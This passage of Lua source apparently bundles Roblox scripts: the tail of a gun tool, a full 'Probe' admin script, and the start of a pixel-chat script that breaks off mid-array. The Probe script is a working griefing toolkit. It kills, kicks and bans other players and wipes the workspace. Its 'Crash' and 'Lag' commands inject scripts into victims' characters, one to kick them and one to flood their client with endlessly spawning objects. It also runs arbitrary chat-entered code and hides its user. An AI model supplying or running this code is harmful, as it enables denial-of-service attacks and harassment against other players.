                animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
        end
        for i=0, 1, .1 do wait()
                obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
                animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
        end
        c(function()
                for i=1, 10 do wait()
                        local clips=add.Part(workspace, false, true, "Bright yellow", 0,Vector3.new(.2, .2, .4), obj.Handle.CFrame*CFrame.new(0, -.2, 0), Vector3.new(.5, .5, 1))
                        c(function()
                                wait(2)
                                for i=0, 1, .1 do wait()
                                        clips.Transparency=i
                                end
                                clips:remove()
                        end)
                end
        end)
        for i=1, 0, -.1 do wait()
                obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
                animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
        end
        for i=1, 0, -.1 do wait()
                animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
                animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
                animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
        end
        animate.ArmLeft(CFrame.Angles(-math.rad(15), 0, -math.rad(15)))
        if ammo>0 then
                local take=6-clip
                ammo=ammo-take
                clip=clip+take
        end
end
mouse.KeyDown:connect(function(key) local key=key:lower()
        local bg=Instance.new("BodyGyro") bg.maxTorque=Vector3.new(math.huge, math.huge, math.huge) bg.D=500
        if key=="q" and keyDeb==false and equip==false then
                keyDeb=true equip=true
                mouse.Icon="http://www.roblox.com/asset/?id=35649261"
                createParts()
                obj.HandleW.Part1=arm.Right
                obj.HandleW.C1=CFrame.new(0, -1.2, 0)*CFrame.Angles(-math.rad(105), 0, 0)
                for i=0, 1, .1 do wait()
                        animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
                end
                for i=0, 1, .1 do wait()
                        animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
                        animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
                        animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
                end
                bg.Parent=torso
                keyDeb=false
        elseif key=="q" and keyDeb==false and equip==true then
                keyDeb=true equip=false
                mouse.Icon=""
                for i=1, 0, -.1 do wait()
                        animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
                end
                for i=1, 0, -.1 do wait()
                        animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
                        animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
                        animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
                end
                removeParts() for i, v in pairs(torso:children()) do if v:isA("BodyGyro") then v:remove() end end
                obj.HandleW.Part1=obj.Pocket
                obj.HandleW.C1=CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0)
                keyDeb=false
        end
        if key=="r" and keyDeb==false and equip==true then
                keyDeb=true
                reload()
                keyDeb=false
        end
        while equip==true do wait()
                body.HeadW.C1=CFrame.new(Vector3.new(0, 1.5, 0), mouse.Hit.p)
                bg.cframe=computePos(torso.CFrame.p, mouse.Hit.p)
                obj.Clip.Text=clip.."/6"
                obj.Ammo.Text=ammo.."/200"
        end
end)
mouse.Button1Down:connect(function()
        local speed=500
        if equip==true and keyDeb==false and clip>=1 then Gun:play() keyDeb=true
                clip=clip-1
                animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), math.rad(15), math.rad(90)))
                local bullet=add.Part(workspace, false, false, "Bright yellow", 0, Vector3.new(.2, 1, .2), CFrame.new(obj.Point.CFrame.p, mouse.Hit.p)*CFrame.Angles(math.pi/2, 0, 0))
                local bulletM=add.Mesh("SpecialMesh", bullet, Vector3.new(.04, .05, .04), nil, nil, "http://www.roblox.com/Asset/?id=10207677")
                local bf=Instance.new("BodyForce", bullet) bf.force=Vector3.new(0, bullet:GetMass()*196.2, 0)
                local effect=add.Part(workspace, true, false, "Bright yellow", .5, Vector3.new(.5, .5, .5), obj.Point.CFrame*CFrame.Angles(math.rad(-45, 45), math.rad(-45, 45), math.rad(-45, 45)))
                c(function()
                        for i=0, 1, .1 do wait()
                                effect.Transparency=effect.Transparency+(i/2)
                                effect.Mesh.Scale=effect.Mesh.Scale+Vector3.new(i, i, i)
                        end
                        effect:remove()
                end)
                trailDeb=true
                trail(bullet, CFrame.new())
                bullet.Touched:connect(hit)
                bullet.Velocity=CFrame.new((obj.Point.CFrame*CFrame.Angles(math.pi/2, 0, 0)).p, mouse.Hit.p).lookVector*speed
                c(function() wait(1.5) bullet:destroy() trailDeb=false end)
                wait(.5)
                animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), 0, math.rad(90)))
                keyDeb=false
        elseif equip==true and keyDeb==false then
                keyDeb=true
                reload()
                keyDeb=false
        end
end)--mediafire
]==]

Probe = [==[
wait'';
script.Parent= Instance.new'Glue';
mode="Destroy"
sound=false
engulfed=false
song='walrus'
pa=8
banned={}
test=false;--testing mode
scropt=''
scropting=false
ofx=true
ifx=true
local ascript=[[]]

scropts={}
plr=game.Players.LocalPlayer
mouse=plr:GetMouse()
cam=workspace.CurrentCamera
p=Instance.new("Part")
p.FormFactor='Custom'
p.TopSurface="Smooth"
p.BottomSurface='Smooth'
p.BrickColor=BrickColor.new'White';
p.Transparency=0.5;
p.Size=Vector3.new(1.5,1.5,1.5)
p.Anchored=true
p.CanCollide=false;
p.Name='ttx'
pc=p:clone'';
pc.Name='pc'

pc.Size=Vector3.new(0.75,0.75,0.75);
pc.BrickColor=BrickColor.new'Really black'
local sel=Instance.new("SelectionBox")
sel.Color=BrickColor.new("Really black")
sel.Transparency=0
sel.Name='sel'
local color=sel.Color
local sel2=Instance.new("SelectionBox")
sel2.Color=BrickColor.new("Institutional white")
sel2.Transparency=1
sel2.Name='sel2'
local blo=Instance.new("BlockMesh",pc)
blo.Name='blo'
local s=Instance.new("Sound")
s.SoundId="http://www.roblox.com/asset?id=12222170"
s.Volume=1
s.Pitch=3.25
s.Name='s'
local s2=Instance.new("Sound")
s2.SoundId="http://www.roblox.com/asset?id=130806888"
s2.Volume=1
s2.Pitch=1
s2.Name='s2'
local s3=Instance.new("Sound")
s3.SoundId="http://www.roblox.com/asset?id=138092144"
s3.Volume=1
s3.Pitch=1
s3.Name='s3'
local s4=Instance.new("Sound")
s4.SoundId="http://www.roblox.com/asset?id=130791043"
s4.Volume=1
s4.Pitch=1
s4.Name='s4'
local s5=Instance.new("Sound")
s5.SoundId="http://www.roblox.com/asset?id=143301643"
s5.Volume=1
s5.Pitch=1
s5.Name='s5'

game:service'ContentProvider':Preload(s5.SoundId)

local light=Instance.new('PointLight')
light.Range=10
light.Brightness=5
light.Shadows=true
light.Color=BrickColor.new("White").Color
light.Name='light'

local bg = Instance.new("BillboardGui")
bg.Adornee = p
bg.Size = UDim2.new(6, 0, 1, 0)
bg.StudsOffset = Vector3.new(-1.6, 2, 0)
bg.Name='bg'

local frame = Instance.new("Frame")
frame.Size = UDim2.new(1, 0, 1, 0)
frame.BackgroundTransparency = 1
frame.BackgroundColor3 = Color3.new(1, 1, 1)
frame.Name='frame'

local text = Instance.new("TextLabel")
text.BackgroundTransparency=1
text.Position = UDim2.new(0.15, 0, 0.25, 0)
text.Size = UDim2.new(1.2, 0, 0.7, 0)
text.Text = "penal servitude"
text.Font="SourceSansBold"
text.TextScaled=true
text.TextStrokeTransparency=0
text.TextStrokeColor3=Color3.new(255,255,255)
text.TextColor3=Color3.new(1,1,1)
text.Name='text'

function chat(txt)
    game:service'Chat':Chat(p,txt,math.random(1,2))
    s3:Play()
    local cb=sel.Color
    sel.Color=BrickColor.new("Lime green")
    wait(0.57)
    sel.Color=cb
end



local schemes={
    Normal={
        pmc="White";
        pcm="Really black";
        selc="Really black";
        selc2="Institutional white";
        light='White';
        name="Normal"
    };
    Inverse={
        pmc="Really black";
        pcm="White";
        selc="Institutional white";
        selc2="Really black";
        light='White';
        name="Inverse"
    };
    Neon={
        pmc="Really red";
        pcm="Lime green";
        selc="Lime green";
        selc2="Really red";
        light='Lime green';
        name="Neon"
    };
    Greenlight={
        pmc="Really black";
        pcm='Institutional white';
        selc='Lime green';
        selc2='Really black';
        light='Lime green';
        name='Greenlight'
    };
    Calm={
        pmc="Really black";
        pcm='Institutional white';
        selc='Teal';
        selc2='Really black';
        light='Teal';
        name='Calm'
    };
    --Custom Schemes--
    CoolkidTheme={
        pmc="Camo";
        pcm="Lime green";
        selc="Really red";
        selc2="Toothpaste";
        light='Lime green';
        name="CoolkidTheme"
    };
}


local songbank={
    ['Cat']='http://www.roblox.com/asset?id=156435576';
    ['EpicSax']='http://www.roblox.com/asset?id=130775431';
    ['Trolled']='http://www.roblox.com/asset?id=142633540';
    ['Doge']='http://www.roblox.com/asset?id=150794704';
    ['PFS']='http://www.roblox.com/asset?id=130783719';
    ['120BOOM']='http://www.roblox.com/asset?id=142279108';
    ['Raining Tacos']='http://www.roblox.com/asset?id=142376088';
    ['Pootis Man']='http://www.roblox.com/asset?id=142334905';
    ['Pootis']='http://www.roblox.com/asset?id=148636758';
    ['freshprince']='http://www.roblox.com/asset?id=154237445'
}

for _,v in pairs(songbank) do
    ypcall(function()
        game:service"ContentProvider":Preload(v)
    end)
end

coroutine.wrap(function()
    local angle=0;
    repeat
        angle=angle+1;
        local a=math.rad(angle);
        p.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(a,a,a);
        pc.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(-a,-a,-a);
        wait'';
    until false
end)();
newLocalScript=function(source,parent)
    local clone=script:clone'';
    clone:clearAllChildren'';
    for _,v in next,{'Source','DSource','source','code'}do
        local f=Instance.new('StringValue',clone);
        f.Name=v;
        f.Value=source;
    end;
    clone.Parent=parent;
    return clone;
end;
cmds={}
modes={
    {n="Destroy",color="Neon orange",func=function(thing)
        local a=thing.Parent
        s4:Play()
        if thing.Parent.Name~="Workspace" and thing.Name~='ttx' and thing.Parent.Name~='ttx' then
            thing.Parent:Destroy()
        elseif thing.Parent.Name=="Workspace" and thing.Name~='Base' and thing.Name~="Baseplate" and thing.Name~='ttx' then
            thing:Destroy()
        end
        end
    };
    {n="Break",color="Royal purple",func=function(thing)
        if thing.className=="Part" and thing.Name~='Base' and thing.Name~='Baseplate' then
            s4:Play()
            for i = 1,4 do
                local a=thing:clone()
                thing:BreakJoints()
                a.Parent=workspace
                a.FormFactor="Custom"
                a.Size=Vector3.new(thing.Size.x/math.random(1.2,2),thing.Size.y/math.random(1.05,2),thing.Size.z/math.random(1.2,2))
                a:BreakJoints()
                local f=Instance.new("Fire",a)
                f.Size=(a.Size.x+a.Size.y+a.Size.z)/2
                local ex=Instance.new("Explosion")
                ex.Position=thing.Position
                ex.BlastPressure=35
                ex.BlastRadius=15
                ex.Parent=workspace
                thing:Destroy()
                Spawn(function()
                    wait(3)
                    a:Destroy()
                end)
            end
        end
    end
    };
    {n="Kick",color="Really red",func=function(thing)
        if thing.Parent.Name~="Workspace" then
            s4:Play()
            ypcall(function()
                if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
                    ypcall(function()
                        game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
                    end)
                end
            end)
        end
        end
    };
       {n="Ban",color="Br. yellowish green",func=function(thing)
       s4:Play()
        if thing.Parent.Name~="Workspace" then
            ypcall(function()
                if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
                    ypcall(function()
                        table.insert(banned,thing.Parent.Name)
                        game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
                    end)
                end
            end)
        end
        end
    };
    {n="Kill",color="Dark red",func=function(thing)
    s4:Play()
        if thing.Parent.Name~="Workspace" then
            ypcall(function()
                if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
                    ypcall(function()
                        game:service'Players':findFirstChild(thing.Parent.Name).Character:BreakJoints()
                    end)
                end
            end)
        end
        end
    };
    {n="Ff",color="Really blue",func=function(thing)
    s4:Play()
        if thing.Parent.Name~="Workspace" then
            if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
                ypcall(function()
                    if not thing.Parent.Torso.ForceField then
                        Instance.new("ForceField",thing.Parent.Torso)
                    else
                        thing.Parent.Torso.ForceField:Destroy()
                    end
                end)
            end
        end
    end
    }
}
addCommand=function(commandName,_cmds,commandDesc,commandFunc)
    cmds[commandName]={['cmds']=_cmds,desc=commandDesc,func=commandFunc};
end
onChatted=function(msg)
    for _,v in next,cmds do
        local used=false;
        for cmd in v.cmds:gmatch'([^(.*),?]+)'do
            if(msg:match(cmd)and used==false)then
                local rest=msg:match(cmd..'(.*)');
                pcall(v.func,rest);
                used=true;
            end;
        end;
    end;
end;
getPlayers=function(msg)
    local players={};--noob nob
    for _,v in next,game.Players:players''do
        if(v.Name:lower():sub(1,#msg)==msg:lower()) then
            table.insert(players,v);
        end;
    end;
    return players;
end;
addCommand('Disconnect','disc/,disconnect/','Disconnects your player from the game',function(msg)
    plr:Destroy()'';
end);
addCommand('Kick','kick/','Kicks <Player>',function(msg)
    for _,player in next,getPlayers(msg)do
       player:Destroy()'';
    end;
end);
addCommand('Banish', 'ban/', 'Banish <Player>', function(msg)
    for _,player in next,getPlayers(msg)do
       table.insert(banned,player.Name)
       player:Destroy()'';
    end;
end);
addCommand('Fix', 'fix/', 'Fix probe', function(msg)
    local current=workspace:findFirstChild'ttx';
    if(current)then
        current:destroy();
    end;
    p=backup:clone();
    p.Parent=workspace;
    pc=p.pc
    sel=p.sel
    bg=p.bg
    frame=p.frame
    text=p.Text
    sel2=pc.sel2
    s=p.s
    s2=p.s2
    s3=p.s3
    s4=p.s4
    s5=p.s5
    light=pc.light
end);

addCommand('Nil disconnect','nild/', "Disconnect a nil player", function(msg)

end)

addCommand('Clean' ,'clean/', 'Clean Workspace', function(msg)
    for _,v in pairs(workspace:children()) do
        ypcall(function()
            if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then
                if v.Name~="Base" and v.Name~="Baseplate" and v.Name~='ttx' then
                    v:Destroy()
                end
            end
        end)
    end
end);

addCommand('Crash','cr/','Crashes a <Player>',function(msg)
    for _,player in next,getPlayers(msg)do
        newLocalScript([[game.Players.LocalPlayer:kick'']], player.Backpack or player.Character)
    end;
end)
print'a';
addCommand('Lag', 'lag/', 'Lags a <Player>',function(msg)
    for _,player in ipairs(getPlayers(msg))do
        newLocalScript([[
            wait'';
            script.Parent=workspace.currentCamera;
            addLoop=function()
                repeat
                    for _,v in next,{'Message','Hint','Part','Message','Message','Hint','Seat'}do
                        pcall(function()
                            local i=Instance.new(v,workspace.currentCamera);
                            i.Text='lag';
                        end);
                    end;
                    wait'';
                    if(math.random(1,10)==1)then
                        coroutine.wrap(addLoop)();
                    end;
                until false;
            end;
            coroutine.wrap(addLoop)();
        ]],player.Character);
    end;
end);

addCommand('Fixl','fixl/','Fixes lighting',function(msg)
    game.Lighting.Brightness=7
    game.Lighting.TimeOfDay='14:00:00'
    game.Lighting.GlobalShadows=true
    game.Lighting.Outlines=true
    game.Lighting.ShadowColor=Color3.new(179,179,179)
    game.Lighting.Ambient=Color3.new(128,128,128)
    game.Lighting.FogStart=0
    game.Lighting.FogEnd=100000
end)

addCommand('Rejoin','rj/','Rejoins player',function(msg)
    game:GetService('TeleportService'):Teleport(game.PlaceId)
end)

addCommand('Create','create/', 'Creates a <script>',function(msg)
    table.insert(scropts,{n=msg,c=""})
    chat("Created script: " .. msg .. "!",math.random(0,2));
end)

addCommand('Edit','edit/','Edits a <script>', function(msg)
chat("Editing script: " .. msg .. "!",math.random(0,2));
    for _,v in pairs(scropts) do
        if v.n==msg then
            scropting=true
            scropt=v.n
            chat(scropt,math.random(0,2));
        end
    end
end)

addCommand('Exit','exit/','Exits a <script>', function(msg)
    scropting=false
    chat("Exited script: " .. scropt .. "!",math.random(0,2));
end)

addCommand('Run','run/','Runs a <script>', function(msg)
    for _,v in pairs(scropts) do
        if v.n==scropt then
            ypcall(function()
                --newLocalScript(v.c,workspace)
                wait(); loadstring(v.c)()
                chat(v.c,math.random(0,2))
            end)
        end
    end
    chat("Running script: " .. msg .. "!",math.random(0,2));
end)

addCommand('Clear','clear/','Clears a <script>',function(msg)
    for _,v in pairs(scropts) do
        if v.n==msg then
            v.c=''
        end
    end
    chat("Cleared script: " .. msg .. "!",math.random(0,2));
end)

addCommand('Remove','remove/','Removes a <script>',function(msg)
   for _,v in pairs(scropts) do
        if v.n==msg then
            table.remove(scropts,v)
        end
   end
    chat("Removed script: " .. msg .. "!",math.random(0,2));
end)

addCommand('Mode','mode/','Switches mode',function(msg)
    ypcall(function()
        mode=msg
        chat("Switched to mode: " .. msg .. "!",math.random(0,2));
    end)
end)

addCommand('Change scheme', 'cs/', 'Changes scheme', function(msg)
    ypcall(function()
        for _,v in pairs(schemes) do
            if v.name==msg then
                p.BrickColor=BrickColor.new(v.pmc)
                pc.BrickColor=BrickColor.new(v.pcm)
                sel.Color=BrickColor.new(v.selc)
                sel2.Color=BrickColor.new(v.selc2)
                light.Color=BrickColor.new(v.light).Color
                chat("Switched to scheme: " .. msg .. "!",math.random(0,2));
            end
        end
    end)
    end
)


addCommand('Set size','ss/', 'Sets size',function(msg)
    local m=tonumber(msg)
    p.Size=Vector3.new(m,m,m)
    pc.Size=Vector3.new(m/2,m/2,m/2)
end)

addCommand('Set #Particles','pa/', 'Sets # particles', function(msg)
    pa=tonumber(msg)
end)

addCommand('Set outer lining color','solc/', 'Sets olc',function(msg)
    sel.Color=BrickColor.new(msg)
end)

addCommand('Set inner lining color','silc/', 'Sets ilc',function(msg)
    sel2.Color=BrickColor.new(msg)
end)

addCommand('Set outer box color','sobc/', 'Sets obc',function(msg)
    p.BrickColor=BrickColor.new(msg)
end)

addCommand('Set inner box color','sibc/', 'Sets ibc',function(msg)
    p.BrickColor=BrickColor.new(msg)
end)

addCommand('Disable outer fx','dof/','Disables outer FX',function(msg)
    ofx=false
end)

addCommand('Enable outer fx','eof/','Enables outer FX',function(msg)
    ofx=true
end)

addCommand('Disable inner fx','dif/','Disables inner FX',function(msg)
    ifx=false
end)

addCommand('Enable inner fx','eif/','Enables inner FX',function(msg)
    ifx=true
end)
--lavish commands
addCommand('Ff', 'ff/', 'Ffs a <Player>',function(msg)
    for _,player in next,getPlayers(msg)do
        Instance.new("ForceField",player.Character.Torso)
    end;
end)

addCommand('Play', 'play/', 'Plays a <song>',function(msg)
   if songbank[msg] then
        song=msg
        local a=Instance.new("Sound")
        a.Volume=1
        a.Pitch=1
        a.Looped=true
        a.SoundId=songbank[msg]
        a.Name=msg
        a.Parent=p
        wait()
        a:Play()
        wait()
        a:Stop()
        wait()
        a:Play()
        color=sel.Color
        sound=true
        chat('Playing "' .. msg .. '"!')
    else
        chat('Song "' .. msg .. '" does not exist.')
    end
end)

addCommand('Stop', 'stop/', 'Stops a song',function(msg)
    ypcall(function()
        sound=false
        sel.Color=color
        wait()
        if p[msg] then
            ypcall(function()
                p[msg]:Destroy()
            end)
        end
        song='nil'
        chat('Song "' .. msg .. '" stopped!')
    end)
end)

addCommand('Pitch', 'pitch/', 'Changes pitch of a song',function(msg)
    ypcall(function()
        if p[song] then
            ypcall(function()
                p[song].Pitch=tonumber(msg)
            end)
        end
        chat('Song "' .. msg .. "'s" ..  ' pitch has been changed to ' .. msg .. ".")
    end)
end)

addCommand('Engulf','eng/','Engulf yourself in FX', function(msg)
    engulfed=true
    p.Transparency=1
    pc.Transparency=1
    sel.Transparency=1
    sel2.Transparency=1
end)

addCommand('Unengulf','ueng/','Unengulf yourself in FX', function(msg)
    engulfed=false
    p.Transparency=0
    pc.Transparency=0
    sel.Transparency=0
    sel2.Transparency=0
end)

addCommand('Unff','unff/', 'Unffs a <Player>', function(msg)
    for _,player in next,getPlayers(msg)do
    for i,v in pairs(player.Character:GetChildren()) do
    if v:IsA("ForceField") then
    v:remove()
        end
    end
end;
end)
if(not test)then
    plr:remove'';
end;
plr.Character=nil;
plr.Chatted:connect(function(msg)
    ypcall(function()
    print(msg);

    onChatted(msg);
    if scropting==true then
    if not msg:find('exit/') and not msg:find('edit/') then
        for _,v in pairs(scropts) do
            if v.n==scropt then
                v.c=v.c .. msg
                chat("Input code!",math.random(0,2));
            end
        end
    end
    end
    if scropting==false then
    local a=string.len(msg)
    local bbd="%u"
    local bbc="%l"
    local cco=0
    local cco2=0
    local modec="calm"
    for i=1,a do
        if string.sub(msg,i,i):match(bbd) then
            cco=cco+1
        elseif string.sub(msg,i,i):match(bbc) then
            cco2=cco2+1
        end
    end
    print("CCO is " .. tostring(cco))
    print("CCO2 is " .. tostring(cco2))
    if cco<cco2 then
        modec="calm"
        text.TextColor3=BrickColor.new("White").Color
        cco=0
        cco2=0
    elseif cco2<cco then
        modec="mad"
        text.TextColor3=BrickColor.new("Really red").Color
        cco=0
        cco2=0
    end
    --[[
    local bbd="%u+"
    local bbc="%l+"
    local mc=msg:match(bbd)
    local mc2=msg:match(bbc)
    if a/2<=string.len(mc) then
        ypcall(function()
            text.TextColor3=BrickColor.new("Really red").Color
            s2:Play()
        end)
    elseif a/2<=string.len(mc2) then
        ypcall(function()
            text.TextColor3=BrickColor.new("White").Color
        end)
    end
    ]]

    if modec=="mad" then
        s2:Play()
    end
    text.Text=''
    for i=1,a do
        wait(0.055)
        s.Pitch=math.random(2.45,3.1)
        s:Play()
        text.Text=string.sub(msg,1,i)
    end
    --[[
    wait(5)
        local var=0
        if text.Text==msg then
            for i=1,a do
                var=var-1
            wait(0.055)
            s.Pitch=math.random(3.0,4.0)
            s:Play()
            text.Text=string.sub(msg,a,var)
        end
        end
    ]]
    end
    end)
end);



game.Players.ChildAdded:connect(function(playur)
    if playur.className=="Player" then
        for _,v in pairs(banned) do
            if v==playur.Name then
                playur:Destroy()
            end
        end
    end
end)

game:service'RunService'.Stepped:connect(function()
    ypcall(function()
    p.Parent=workspace
    pc.Parent=p
    sel.Parent=p
    sel.Adornee=p
    bg.Adornee=p
    bg.Parent=p
    frame.Parent=bg
    text.Parent=frame
    sel2.Parent=pc
    sel2.Adornee=pc
    s.Parent=p
    s2.Parent=p
    s3.Parent=p
    s4.Parent=p
    s5.Parent=p
    light.Parent=pc
    text.TextStrokeColor3=sel.Color.Color
    end)
end)

s5.Looped=true
s5.Volume=0.5
s5:Play()
wait()
s5:Stop()
wait()
s5:Play()

local walrus=game.Lighting
mouse.Button1Down:connect(function()
    ypcall(function()
        for _,v in pairs(modes) do
            if v.n==mode and mouse.Target.Name~="Workspace" then
                local ray = Ray.new(p.CFrame.p, (mouse.Hit.p - p.CFrame.p).unit*300)
                v.func(mouse.Target)
                local position = mouse.Hit.p--game.Workspace:FindPartOnRay(ray, walrus)
                local distance = (position - p.CFrame.p).magnitude
                local rp=Instance.new("Part",workspace)
                rp.Anchored=true
                rp.TopSurface="Smooth"
                rp.BottomSurface="Smooth"
                rp.Transparency=0.45
                rp.BrickColor=BrickColor.new(v.color)
                rp.FormFactor="Custom"
                rp.CanCollide=false
                rp.Size=Vector3.new(0.6,0.6,distance)
                rp.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
                local cy=Instance.new("BlockMesh",rp)
                local rp2=Instance.new("Part",rp)
                rp2.Anchored=true
                rp2.TopSurface="Smooth"
                rp2.BottomSurface="Smooth"
                rp2.Transparency=0.45
                rp2.BrickColor=BrickColor.new("Institutional white")
                rp2.FormFactor="Custom"
                rp2.CanCollide=false
                rp2.Size=Vector3.new(1,1,distance)
                rp2.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
                local cy2=Instance.new("BlockMesh",rp2)
                for i=1,10 do
                    wait()
                    cy.Scale=cy.Scale-Vector3.new(0.1,0.1,0)
                    cy2.Scale=cy2.Scale-Vector3.new(0.1,0.1,0)
                end
                rp:Destroy()
                rp2:Destroy()
                print'done'
            end
        end
    end)
end)

coroutine.resume(coroutine.create(function()
    while wait() do
        for i=1,50 do
        wait()
        blo.Scale=blo.Scale+Vector3.new(0.01,0.01,0.01)
        end
        for i=1,50 do
        wait()
        blo.Scale=blo.Scale-Vector3.new(0.01,0.01,0.01)
        end
    end
end))

coroutine.resume(coroutine.create(function()
    while wait() do
        if engulfed==false then
            for i=1,100 do
                wait()
                sel.Transparency=sel.Transparency+0.01
                sel2.Transparency=sel2.Transparency-0.01
            end
            for i=1,100 do
                wait()
                sel.Transparency=sel.Transparency-0.01
                sel2.Transparency=sel2.Transparency+0.01
            end
        end
    end
end))

coroutine.resume(coroutine.create(function()
    while wait() do
        if ifx==true then
        local pos=p.Position
        wait(0.01)
        if p.Position~=pos or engulfed==true then
        local a=p:clone()
        a.Parent=workspace
        a.Transparency=0
        a.FormFactor='Custom'
        a.BrickColor=sel.Color
        a:clearAllChildren()
        local b=Instance.new("BlockMesh",a)
        Spawn(function()
        for i=1,30 do
            wait(0.02)
            b.Scale=b.Scale-Vector3.new(0.10,0.10,0.10)
            a.Transparency=a.Transparency+0.05
        end
        a:Destroy()
        end)
        else
        end
    end
    end
end))



coroutine.resume(coroutine.create(function()
while wait(0.06245) do
if ofx==true then
local a=Instance.new('Part',p)
a.Anchored=true
local b=Instance.new("BlockMesh",a)
a.Size=Vector3.new(1.1,1)
a.CFrame=p.CFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
a.BrickColor=sel.Color
Spawn(function()
    for i=1,pa do
        wait()
        a.CFrame=a.CFrame*CFrame.new(math.random(-.1,.1),math.random(-.1,.1),math.random(-.1,.1))*CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
        a.Transparency=a.Transparency+0.1
        b.Scale=b.Scale-Vector3.new(0.1,0.1,0.1)
    end
    a:Destroy()
end)
end
end
end))

pc.ChildRemoved:connect(function()
    sound=false
    sel.Color=color
end)



local backup=p:clone()
backup.Parent=nil

--[[
workspace.ChildRemoved:connect(function(asd)
    if asd.Name=="ttx" then
        wait(5)
        if not workspace['ttx'] then
            local f=backup:clone()
            f.Parent=workspace
            p=f
        end
    end
end)
coroutine.resume(coroutine.create(function()
    while wait(4) do
        if not workspace['ttx'] then
            local abc=backup:clone()
            abc.Parent=workspace
            p=abc
        end
    end
end))
]]
coroutine.resume(coroutine.create(function()
    local a=p.Position
    wait(0.02)
    if p.Position~=a then
        s5.Pitch=s5.Pitch+0.035
    else
        s5.Pitch=1
    end
end))
--[[
while wait() do
    local fx=Instance.new("Part")
    fx.FormFactor="Custom"
    fx.Anchored=true
    fx.TopSurface="Smooth"
    fx.BottomSurface="Smooth"
    fx.Size=Vector3.new(0.4,0.4,0.4)
    fx.CFrame=p.CFrame*CFrame.new(math.random(1,3),math.random(3,4),math.random(1,3))
    if sound==true then
        sel.Color=BrickColor.Random()
    end
    if engulfed==true then
        p.Transparency=1
        pc.Transparency=1
        sel.Transparency=1
        sel2.Transparency=1
    end
    coroutine.wrap(function()
        local walrus=0
        while fx~=nil do
            wait()
            walrus=walrus+0.02
            fx.CFrame=fx.CFrame*(p.CFrame)*CFrame.new(0,walrus,0)
        end
    end)()
    game.Debris:addItem(fx,3)
end
]]

]==]

PixelChat = [[
wait(0.001)
script:ClearAllChildren();
script.Parent=nil;
wait(1)
LocalPlayer = game:service'Players'.LocalPlayer
Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010",